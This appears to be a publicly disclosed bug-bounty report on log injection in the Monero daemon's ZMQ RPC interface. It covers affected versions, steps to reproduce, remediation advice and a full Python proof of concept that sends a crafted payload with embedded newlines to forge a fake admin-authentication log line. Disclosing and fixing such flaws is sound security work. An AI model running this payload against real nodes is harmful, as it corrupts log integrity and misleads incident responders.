HexBrain

Monero · Report #3621606

ZMQ RPC Log Injection and Untrusted Payload Persistence

Validstatus
mediumseverity
30upvotes
24 Jul 2026disclosed

How it was found

Date: 2026-03-22 Reporter: redlobsterzzz Wallet Address: 8ALXGo7D2qkdHMhe1kq2uC337VFQCV1DvY31DaTRKqPg2HbryxWtSSgYCF7HHkjGQShXU8KVgaxg2JZ9z5GVqmMbQ96ULnL Project: Monero CLI daemon

Summary:

The ZMQ RPC request path logs untrusted request content before semantic validation. A remote party with access to the ZMQ endpoint can inject newline and control-character content into daemon logs, enabling log forging and persistence of attacker-controlled text.

Releases Affected:

  • Introduced in commit 77986023c3 ("json serialization for rpc-relevant monero types"), which added raw request logging in src/rpc/daemon_handler.cpp.
  • First released in v0.12.0.0 (first tag containing 77986023c3).
  • Affected release tags (verified by tag containment):
    • v0.12.0.0 through v0.12.4.0
    • v0.13.0.2 through v0.13.0.4 (including RC tags containing the same commit)
    • v0.14.0.0 through v0.14.1.2
    • v0.15.0.0 through v0.15.0.5
    • v0.16.0.0 through v0.16.0.3
    • v0.17.0.0 through v0.17.3.2
    • v0.18.0.0 through v0.18.4.6
    • master as of 2026-03-22
  • Operating systems: all supported monerod platforms (Linux, Windows, macOS), because the affected RPC/logging code path is shared C++ daemon code.

Steps To Reproduce:

  1. Run monerod with ZMQ RPC reachable from the test host and with logging enabled for request traces.

  2. Execute the PoC:

    python poc_zmq_log_injection.py --target 127.0.0.1:18082
    
  3. Inspect daemon logs and search for ATTACKER_MARKER_BEGIN, ATTACKER_MARKER_END, and the injected forged-looking line.

Inline PoC used:

#!/usr/bin/env python3
"""
PoC: ZMQ RPC request-body log injection / payload logging in monerod.
Authorized testing only.

Usage:
  python poc_zmq_log_injection.py --target 127.0.0.1:18082
"""

import argparse
import sys

try:
	import zmq
except ImportError:
	print("[!] Missing dependency: pyzmq")
	print("    Install with: pip install pyzmq")
	sys.exit(1)


def main() -> int:
	ap = argparse.ArgumentParser()
	ap.add_argument("--target", required=True, help="host:port of ZMQ RPC, e.g. 127.0.0.1:18082")
	ap.add_argument("--timeout-ms", type=int, default=5000)
	args = ap.parse_args()

	endpoint = f"tcp://{args.target}"

	payload = (
		'{"jsonrpc":"2.0","id":1,"method":"get_info","params":{"note":"ATTACKER_MARKER_BEGIN\\n'
		'FORGED_LOG_LINE: authentication succeeded for admin\\n'
		'ATTACKER_MARKER_END"}}'
	)

	print(f"[*] Connecting to {endpoint}")
	print("[*] Sending crafted payload with newline markers")

	ctx = zmq.Context()
	sock = ctx.socket(zmq.REQ)
	sock.setsockopt(zmq.RCVTIMEO, args.timeout_ms)
	sock.setsockopt(zmq.SNDTIMEO, args.timeout_ms)

	try:
		sock.connect(endpoint)
		sock.send_string(payload)
		reply = sock.recv_string()
		print("[+] Server response received:")
		print(reply)
	except zmq.error.Again:
		print("[!] Timeout waiting for response")
		return 2
	finally:
		sock.close(0)
		ctx.term()

	print("\n[*] Next step: inspect daemon log for ATTACKER_MARKER strings and injected formatting")
	return 0


if __name__ == "__main__":
	sys.exit(main())

Supporting Material/References:

  • Affected code paths: src/rpc/zmq_server.cpp, src/rpc/daemon_handler.cpp.
  • Introduction point: commit 77986023c3 in src/rpc/daemon_handler.cpp (MDEBUG("Handling RPC request: " << request);).
  • Verification markers: ATTACKER_MARKER_BEGIN and ATTACKER_MARKER_END should appear in daemon logs along with forged-looking payload line text.
  • Suggested remediation:
    1. Avoid logging raw untrusted request bodies by default.
    2. Log metadata instead (method, request ID, size, status).
    3. Escape or sanitize control characters before writing to logs.
    4. Gate body logging behind explicit debug-only controls.

AI Usage Disclosure

AI assistance was used for initial drafting and analysis. Final finding details, impacted paths, and PoC applicability were manually validated.

Impact

  1. Log integrity compromise: attacker-supplied delimiters can forge additional log lines and alter analyst interpretation.
  2. Detection and triage degradation: SIEM pipelines and alert logic can ingest attacker-controlled log fragments as trusted events.
  3. Incident response friction: investigators can be misled by fabricated entries during root-cause and timeline analysis.
  4. Exposure amplification in managed deployments: risk increases when ZMQ RPC is network-reachable and verbose logging is enabled.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original